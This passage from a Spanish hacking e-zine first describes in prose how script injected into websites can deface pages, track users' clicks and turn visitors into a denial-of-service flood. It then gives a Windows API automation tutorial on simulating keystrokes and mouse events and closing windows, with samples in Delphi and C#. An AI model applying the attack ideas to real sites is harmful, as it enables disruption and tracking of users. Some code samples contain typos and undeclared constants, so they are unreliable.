Alteración: similar al párrafo anterior los sitiosweb podrían ser alterados por ejemplo se podríacolocar una imagen dentro del sitio web o elnavegador del usuario podría ser redirigido a otrolugar

Seguimiento de usuarios: un atacante inteligentepodrá crear código que informara sobre losenlaces sobre los que un usuario hace clip juntocon la hora ala que ocurrió a otro servidor elmecanismo es bien conocido de herramientasestadísticas para sitios web escritas en lenguajesscript

Generar trafico: tomemos otra vez comoejemplos sitios de noticias .muy probablementetengan cientos de visitantes todo los días, si unatacante incluye código para cargar el archivomas grande que contenga el servidor web de lavictima cada vez que es ejecutado esto causaríaun trafico masivo que debería ser suficiente paracrear un ataque DOS en cualquier servidor detamaño pequeño o mediano

Page 35: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 35 de 44 – HH eZine

INTRODUCCION A LA API DEWINDOWS (II)

En este artículo: Manejando el teclado y elratón

Ejemplos:Quiniela electrónicaControlador remoto de aplicaciones.

Manejando ventanas externas desde nuestraaplicación

En el articulo anterior vimos una breveintroducción a la API de Windows, hicimosalgunos ejemplos sencillos de llamada ydiferenciamos el paso de parámetros por valor oreferencia, creándonos nuestras propiasestructuras de datos si fueran necesarias. Ahoraveremos como simular eventos en el sistema demanera automática para poder controlaraplicaciones externas desde la nuestra (crear,abrir, cerrar, ejecutar, presionar, hacer clic,posicionar, dibujar, etc...), en definitiva:automatizar.

Para este propósito debemos saberalgunos conceptos básicos previos.

Cuando abres un programa y te aparece suventana, sus botones, sus menús, etc...el sistemaoperativo (Windows), asigna una dirección dememoria (puntero) en la RAM a cada uno deesos componentes, a partir de ahora Objetos, esdecir a la ventana le asignara una dirección y acada uno de los botones otra distinta, y asísucesivamente, de manera que cada objeto delprograma que hemos ejecutado posee unadirección de memoria distinta. Estasdirecciones de memorias se conocen con el

nombre de Handles o manejadores, quetrataremos como un tipo de datos de tamañoLongWord (32 bits). Una vez asignado elHandle, es la API de Windows la que pinta elobjeto en pantalla mostrando el resultado alusuario. Cuando el programa se cierra, selibera toda la memoria asignada a los objetosy permanece disponible para otrasaplicaciones.

Nosotros vamos a controlar cualquierprograma, así como simular los eventos quedeseemos, a partir de los Handles.

Antes de entrar en mas detalles sobre losmanejadores y para ir calentando yrefrescando la memoria del lector sobre comose usa la API, vamos a incluir variasfunciones interesantes y llamativas:

GetCursorPos y SetCursorPos

Estas funciones nos permiten obtener ymanejar el puntero del ratón por la pantalla.

Funcion GetCursorPos (lpPunto: TPoint)devuelve un Booleano largo (32 bits);Está contenida en User32.dll de nombre“GetCursorPos”.

Su objetivo es almacenar en la variable detipo TPoint que pasemos como parámetro lascoordenadas actuales del puntero del ratón.Si la función falla devuelve 0, si hay éxitodevuelve algún valor distinto de 0.

lpPunto es un parámetro de Entrada / salida(referencia), de tipo TPoint que no es masque una estructura de datos que debemoscrearnos con dos campos:

Page 36: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 36 de 44 – HH eZine

Tipo TPoint = paqueteX: entero; (32 bits)Y: entero; (32 bits)

Fin;

Recuerdo que esta declaración es similaral typedef struct del C.

De manera análoga a la funciónGetCursorPos anterior existe otra:

Funcion SetCursorPos (x: entero, y:entero) devuelve un Booleano Largo;

Está contenida en User32.dll de nombre“SetCursorPos”

Su objetivo es posicionar el puntero delratón en las coordenadas indicadas porlos valores X e Y. Si la función falladevuelve 0, si hay éxito devuelve algúnvalor distinto de 0.

Mouse_event y Keybd_event

Estas funciones nos permiten simularacciones del ratón y del tecladorespectivamente, como por ejemplo pulsar unatecla o hacer clic.

Procedimiento mouse_event(dwFlags, dx, dy, dwData, dwExtraInfo:LongWord);Está contenida en User32.dll de nombre“mouse_event”

dwFlags: para especificar los estados delratón o lo que vamos a hacer,movimientos, clics, etc. Existen una seriede constantes a usar en este parámetro:

MOUSEEVENTF_MOVE = $0001;MOUSEEVENTF_LEFTDOWN = $0002;MOUSEEVENTF_LEFTUP = $0004;MOUSEEVENTF_RIGHTDOWN = $0008;MOUSEEVENTF_RIGHTUP = $0010;MOUSEEVENTF_MIDDLEDOWN=$0020MOUSEEVENTF_MIDDLEUP = $0040;MOUSEEVENTF_WHEEL = $0800;MOUSEEVENTF_ABSOLUTE = $8000;

Con MOUSEEVENTF_ABSOLUTE,si no la especificamos los cambios se realizanrespecto a la ultima posición del puntero. ConMOUSEEVENTF_MOVE indicamos quenos estamos refiriendo a un movimiento delpuntero. El resto indican los clic (pulsado osoltado).

Dx, dy: coordenadas x, yrespectivamente. Según este activada ono MOUSEEVENTF_ABSOLUTE, nosestaremos refiriendo a coordenadasrelativas a la ultima posición onormales. Valores positivos significandesplazamientos o coordenadas hacia laderecha o arriba, y negativos hacia abajoo la izquierda.

dwData: normalmente su valor será 0.Pero si en dwFlags pasamos comoparámetro MOUSEEVENTF_WHEELentonces aquí estaremos indicando lacantidad de movimiento de la rueda.Un valor positivo indica que la ruedaserá rotada hacia adelante; un valornegativo indica que la rueda serárotada hacia atrás, hacia el usuario.

dwExtraInfo: para indicar informaciónadicional al evento.Por ejemplo seríaequivalente hacer:

Mouse_event(MOUSEEVENTF_MOVE, 100, 10, 0, 0);

Page 37: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 37 de 44 – HH eZine

Con esto:

GetCursorPos(punto);SetCursorPos(punto.X+100, punto.Y+10);

Procedimiento keybd_event

(bVk, bScan: Byte; dwFlags,dwExtraInfo:DWORD);

Está contenida en User32.dll de nombre “keybd_event”Todos los parámetros son de entrada.BVk: es el códigode la tecla a pulsar.Corresponde a su equivalente enASCII, para teclas normales (por ejemplo A = 65, Z = 90,a = 97...), y a los códigos de teclas virtuales para simularlas teclas virtuales (espacio, enter, tab, mayus, Alt...). Enla siguiente tabla, se muestran las teclas virtuales y sucorrespondiente valor en hexadecimal.VK_CANCEL = 3;VK_BACK = 8;VK_TAB = 9;VK_CLEAR = 12;VK_RETURN = 13;VK_SHIFT = $10;VK_CONTROL = 17;VK_MENU = 18;VK_PAUSE = 19;VK_CAPITAL = 20;VK_KANA = 21;VK_HANGUL = 21;VK_JUNJA = 23;VK_FINAL = 24;VK_HANJA = 25;VK_KANJI = 25;VK_CONVERT = 28;VK_NONCONVERT = 29;VK_ACCEPT = 30;VK_MODECHANGE = 31;VK_ESCAPE = 27;VK_SPACE = $20;VK_PRIOR = 33;VK_NEXT = 34;VK_END = 35;VK_HOME = 36;VK_LEFT = 37;VK_UP = 38;VK_RIGHT = 39;VK_DOWN = 40;VK_SELECT = 41;VK_PRINT = 42;VK_EXECUTE = 43;VK_SNAPSHOT = 44;VK_INSERT = 45;VK_DELETE = 46;VK_HELP = 47;VK_LWIN = 91;VK_RWIN = 92;

VK_APPS = 93;VK_NUMPAD0 = 96;VK_NUMPAD1 = 97;VK_NUMPAD2 = 98;

VK_NUMPAD3 = 99;VK_NUMPAD4 = 100;VK_NUMPAD5 = 101;VK_NUMPAD6 = 102;VK_NUMPAD7 = 103;VK_NUMPAD8 = 104;VK_NUMPAD9 = 105;VK_MULTIPLY = 106;VK_ADD = 107;VK_SEPARATOR = 108;VK_SUBTRACT = 109;VK_DECIMAL = 110;VK_DIVIDE = 111;

VK_F1 = 112; VK_F2 = 113; VK_F3 = 114; VK_F4 = 115; VK_F5=116 VK_F6=117 VK_F7=118 VK_F8=119 VK_F9=120 VK_F10=121 VK_F11=122 VK_F12=123 VK_F13=124 VK_F14 = 125;

VK_F15 = 126; VK_F16 = 127; VK_F17 = 128; VK_F18 = 129; VK_F19=130 VK_F20=131 VK_F21=132 VK_F22=133 VK_F23=134 VK_F24=135 VK_NUMLOCK = 144 VK_SCROLL = 145; VK_LSHIFT = 160; VK_RSHIFT = 161 VK_LCONTROL = 162;

VK_RCONTROL = 163;VK_LMENU = 164;VK_RMENU = 165;VK_PROCESSKEY = 229VK_ATTN = 246;VK_CRSEL = 247VK_EXSEL = 248VK_EREOF = 249VK_PLAY = 250;VK_ZOOM = 251;VK_NONAME = 252;VK_PA1 = 253VK_OEM_CLEAR = 254

Page 38: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 38 de 44 – HH eZine

(Para más información acudir al sitio oficial de MSDN)

Nota: Podemos usar la función VkKeyScan(ch: char), que dado un carácter, obtiene elcódigo asociado que debemos pasar akeybd_event. Está contenida en User32.dll denombre “VkKeyScanA”

BScan: sirve para especificar el códigohardware de la tecla. Por simplificar, usaremos0, ya que este valor no es estrictamentenecesario para nuestro propósito.

DwFlags: para indicar posiblesconfiguraciones de la simulación. Por ejemplopara decir si queremos presionar o soltar latecla. Existen tres constantes que podemos usar:

KEYEVENTF_EXTENDEDKEY; si seespecifica la pulsación será tratada como unatecla extendida

KEYEVENTF_KEYUP: si se especifica,equivale a soltar la tecla, si no lo hacemos,estaremos pulsándola.

KEYEVENTF_SILENT: si se especificaanularemos cualquier sonido asociado a esatecla.

DwExtraInfo: es un valor de 32 bits,opcional, asociado a la tecla.

Vamos a realizar algunos ejemplos.

Keybd_event (VK_RETURN, 0, 0, 0);//Simula la pulsacion de ENTER

Keybd_event (VK_RETURN, 0,KEYEVENTF_KEYUP, 0); //Lo soltamos

Keybd_event (VkKeyScan(‘A’), 0, 0, 0);//Simula la pulsacion de A

Keybd_event (VkKeyScan(‘A’), 0,KEYEVENTF_KEYUP, 0); //La soltamos

Keybd_event (65, 0, 0, 0); //Otra formade pulsar A, mediante su codigo ASCII.

Ahora vamos a hacer un juego de lucescon el teclado.

Var i: entero;Principio desde i:=1 hasta 50 hacer

Keybd_event(VK_CAPITAL, 0, 0, 0);

Keybd_event(VK_CAPITAL,0,KEYEVENTF_KEYUP, 0);

sleep(100);

Keybd_event(VK_NUMLOCK, 0, 0, 0);

Keybd_event(VK_NUMLOCK,0,KEYEVENTF_KEYUP, 0);

sleep(100);fdesde fin

Nota: Sleep(ms: LongInt) es unprocedimiento de la API, incluida enKernel32.dll de nombre ‘Sleep’, en la quele pasamos como parámetro losmilisegundos en los que va a pararse laejecución del código.

Para refrescar un poco la memoria,veamos como se implementa esto en unlenguaje determinado, lo haremos enDELPHI y en C#:

Implementation{$R *.dfm}Procedure

Page 39: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 39 de 44 – HH eZine

keybd_event(bVk:Byte;bScan:Byte;dwFlags,dwExtraInfo:DWORD);

stdcall;external‘user32.dll’name'keybd_event';

ProcedureSleep(milisegundos: Cardinal); stdcall;external ‘kernel32.dll’ name 'Sleep';

stdcall;procedureTForm1.Button1Click(Sender: TObject);

vari: integer;begin

for i:=1 to 100 do begin

Keybd_event(VK_CAPITAL, 0, 0, 0);Keybd_event(CK_CAPITAL,0,KEYEVENTF_KEYUP, 0);

sleep(100);Keybd_event(VK_NUMLOCK, 0, 0, 0);Keybd_event(VK_NUMLOCK,0,KEYEVENTF_KEYUP, 0);

sleep(100);end;

end;end.

Y en C#:

[DllImport(“user32.dll”)]static extern void keybd_event(byte bVk,byte bScan, uint dwFlags, UintPtrdwExtraInfo);[DllImport(“kernel32.dll”)]static extern void Sleep (int milisegundos);

private const intKEYEVENTF_EXTENDEDKEY =0x1;private const intKEYEVENTF_KEYUP = 0x2;

for (int i=1; i<100; i++){Keybd_event(VK_CAPITAL, 0, 0,0);

Keybd_event(CK_CAPITAL,0,

KEYEVENTF_KEYUP, 0);sleep(100);

Keybd_event(VK_NUMLOCK, 0, 0, 0);

Keybd_event(VK_NUMLOCK,0,KEYEVENTF_KEYUP, 0);

sleep(100);}

Nota: Nótese la diferencia entre un lenguaje yotro la declaración de las funciones y el tipo dedatos cómo varía. Por ejemplo lo que en Delphi esun LongWord (DWORD), en C# es un UINT.

Como dije anteriormente, en amboslenguajes, y en otros muchos, debido a lalibrería tan completa que poseen actualmente,no es necesario declarar las funciones porqueya vienen declaradas. Por ejemplo podríamoshabernos ahorrado declarar Sleep y usarlo talcual (usando Thread.Sleep, por ejemplo), perorecordamos que la ventaja de hacerlo así espara ahorrarnos incluir ninguna librería (usingde C# y uses de delphi), y utilizar la DLL deWindows, reduciendo considerablemente eltamaño de nuestro fichero ejecutable. Esto fuecomentado en la E-zine nº1, por si queréismas documentación.

Page 40: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 40 de 44 – HH eZine

Dejo al lector, si siente curiosidad, querealice una pequeña aplicación para resolverquinielas (1 X 2), mediante este método. Lasluces parpadearán indefinidamente, hasta que elusuario pulse cualquier tecla, en este momentosegún haya parado la luz en VK_CAPITAL,VK_NUMLOCK o VK_SCROLL sabremosponer 1 X 2.

Hecho este pequeño recordatorio, y a lavez atractivo (y friqui), retomamos lo habladoal principio del artículo sobre los manejadores oHandles.

Existen funciones que permiten obtenereste Handle sobre una ventana activa,simplemente conociendo el título de ésta osabiendo el nombre de la aplicación que la creó.

Por ejemplo disponemos de FindWindow

Funcion FindWindow (lpClassName,lpWindowName: PChar) devuelve THandle

lpClassName: es el nombre de la claseasociada a la ventana, por ejemplo “Notepad” sise trata del bloc de notas de Windows, o“IEFrame” si se trata de una ventana delInternet Explorer, etc... si no lo especificamosdebemos ponerlo a null.

lpWindowsName: es el título de laventana. Si abrimos un bloc de notas, el títuloserá “Sin titulo – bloc de notas”, o si abrimospor ejemplo una ventana de conversación delMSN, el título de ésta será el “nickname delusuario – Conversación”. Si no loespecificamos, debemos ponerlo a null.

En esta función es obligatorio al menosespecificar uno de los dos valores, dejando elotro a null, aunque es más preciso indicar losdos.

Si no encuentra la ventana, bien porqueya no existe o porque los parámetros quehemos pasado son incorrectos, devuelve 0. Yotro valor, en caso de éxito.

Un ejemplo de uso de esta función sería:

varmanejador: THandle; //THandle es

equivalente a un LongWord.

principiomanejador:=FindWindow(null, “Sin

título – Bloc de notas”);si manejador = 0

Imprime(“Ventana noencontrada”);

//la ventana no existe o no escorrecto algunos de los parámetros

| otras: //caso contrarioImprime(“Ventana encontrada”);

//tratar la ventana mediante lavariable manejador.

finsifin

Ya sabemos obtener la dirección dememoria de cualquier aplicación abierta en elsistema, sabiendo simplemente el nombre dela clase que la creó, o bien si posee ventana,sabiendo el título de ésta.

Probablemente se esté preguntandocomo obtener, sin errores, el título o la claseasociada a cualquier aplicación, pues nosiempre sabremos esta información. Parahacer esto existe la posibilidad de obtenerestos datos de todas las aplicaciones enejecución en el sistema, guardarlo porejemplo en una Lista y eligiendo aquella quebuscamos. Veremos esto con detenimiento enla próxima edición.

Page 41: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 41 de 44 – HH eZine

Para los impacientes, las funciones yprocedimientos a utilizar son EnumWindows,que enumera las ventanas en ejecución,GetWindowText, que obtiene el título de éstas,y GetClassName que obtiene la clase asociadade cada una de ellas.

Pero, ahora, ¿qué hacemos con laventana?, ¿cómo puedo trabajar con ella?.

Existen dos funciones que permiten“enviar” comandos (cerrar, minimizar, etc...),

Funcion PostMessage (hWnd: THandle,Msg: LongWord, wParam: Entero, lParam:Entero) devuelve Booleano Largo;

Está contenida en User32.dll, de nombre“PostMessageA”

Envía el mensaje a la cola de mensajes, yretorna

Funcion SendMessage (hWnd: THandle,Msg: LongWord, wParam: Entero, lParam:Entero) devuelve Booleano Largo;

Está contenida en User32.dll de nombre“SendMessageA”

Envía el mensaje a la cola de mensajes yespera hasta que la aplicación procese elmensaje.

Cuando enviamos un mensaje, este esintroducido en una cola, a la espera de serprocesado, pero por lo general las colas suelencontener pocos mensajes, por lo que a efectosprácticos no notaremos diferencia entre ambas.Si lo que queremos es que nuestra aplicaciónesté sincronizada con la que leenviamos los mensajes, entonces debemosesperar a que estos sucedan, usaremosSendMessage. Si no es necesario esperar a quesea procesado el mensaje, entonces usaremos

PostMessage, que devolverá inmediatamente siel mensaje fue o no introducido en la cola demensajes.

hWnd: es el Handle de la ventana oaplicación a la que vamos a enviar el mensaje.

Msg: es el mensaje a mandar. Existen unasconstantes.

wParam y lParam: son parámetros paradar información adicional en algunos mensajes.

Estas funciones devuelven cierto si elmensaje se ha logrado insertar correctamente enla cola de mensajes, y falso en caso contrario.

Así, vamos a hacer un programa que cierrepor ejemplo una ventana del Internet Explorer.

varm: THandle; //THandle = LongWord

(Delphi) = UINT (C#) = Long (Visual basic) = 4bytes

principiom:=FindWindow(“IEFrame”, null);si (m=0)

Imprime(“No hay ventanas deInternet Explorer que cerrar”);

|otras:PostMessage(m, WM_CLOSE, 0, 0);

FsiFin

Notas: IEFrame es el nombre de la claseasociada a las ventanas de Internet Explorer.

Page 42: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 42 de 44 – HH eZine

Los mensajes que podemos usar paraenviar son muy variados, algunos mas usadosson:

WM_NULL = $0000;WM_DESTROY = $0002;WM_MOVE = $0003;WM_SIZE = $0005;WM_ACTIVATE = $0006;WM_SETFOCUS = $0007;WM_KILLFOCUS= $0008;WM_ENABLE = $000A;WM_PAINT = $000F;WM_CLOSE = $0010;WM_QUIT = $0012;WM_SHOWWINDOW = $0018;WM_FONTCHANGE = $001D;WM_SETCURSOR = $0020;WM_MOUSEACTIVATE=$$0021;WM_PAINTICON = $0026;WM_SETFONT = $0030;WM_GETFONT = $0031;WM_CANCELJOURNAL =$004B

WM_CREATE=$0001WM_NOTIFY=$004E;WM_GETICON=$007F;WM_SETICON=$0080;WM_KEYFIRS =$0100;WM_KEYDOWN=$0100;WM_KEYUP = $0101;WM_CHAR = $0102;WM_COMMAND=$0111;WM_MOUSEFIRS=$0200;WM_MOUSEMOVE=$0200;WM_MOUSEWHEEL =$020A;WM_MOUSELAST = $020A;WM_MOVING = 534;WM_CLEAR = $0303;WM_UNDO = $0304;WM_USER = $0400;WM_ERASEBKGND = $0014;

Con estas constantes y las funcionesvistas, podemos por ejemplo cerrar ventanasmolestas (pop-up) de manera automática, osimular eventos dentro de ella, por ejemplopodemos enviar combinaciones de teclado, osecuencias de teclas, como si estuviéramoshaciéndolo manualmente. Para que veáis unejemplo, si abrimos un bloc de notas, yejecutamos el siguiente código, se escribirá lacadena “Hola desde HackHispano” por si sola(ver Fig1):

Implementation{$R *.dfm}procedure keybd_event (bVk: Byte;bScan: Byte; dwFlags, dwExtraInfo:LongWord); stdcall;

external‘user32.dll’name 'keybd_event';

function FindWindow (lpClassName,lpWindowName: PChar): LongWord;

stdcallexternal‘user32.dll’name‘FindWindowA’;

function SetForegroundWindow(hWnd:LongWord): LongBool; stdcall;external‘user32.dll’name'SetForegroundWindow';

{Esta ultima función aunque no la heexplicado, es muy simple, sirve para traer a unprimer plano aquella ventana que queremospasándole como parámetro su Handle,previamente obtenido por ejemplo conFindWindow. Como ya observareis, estacontenida en user32.dll}

FunctionVkKeyScan(ch:Char):smallInt; stdcall;external‘user32.dll’name 'VkKeyScanA';procedureTForm1.Button1Click(Sender: TObject);

vari: integer;m: THandle;

s: string;

begins:= ‘Hola desde HackHispano’;m:=FindWindow(‘Notepad’, nil);if m<>0 then begin

SetForeGroundWindow(m); //la traemos aun primer plano

for i:=1 to length(s) do beginkeybd_event(VkKeyScan(s[i]), 0, 0, 0);

end;end else

ShowMessage(‘Aplicación no encontrada’);end;

Page 43: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 43 de 44 – HH eZine

Fig1. Resultado del código anterior escrito en Delphi.(Enviar secuencia de teclas)

Con esto y un poco de creatividad podemos irhaciendo algunos programas personales para unpropósito específico. Podemos crearnos unarutina de secuencias de teclado y ratón parausar en algún juego querequiera de habilidad con el teclado. Pruebausarlo en cualquier aplicación, por ejemplo enun juego de lucha o de habilidad.

Samir Sabbagh Sequera (HySTD)

Page 44: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 44 de 44 – HH eZine

Redactores : eXcalibur Cypress j8k6f4v9j 4v7n42 Kania rat Gondar_f kraos_inside HySTD

Maquetación y Diseño :

Clarinetista Mimasol

Dirección del Proyecto:

Clarinetista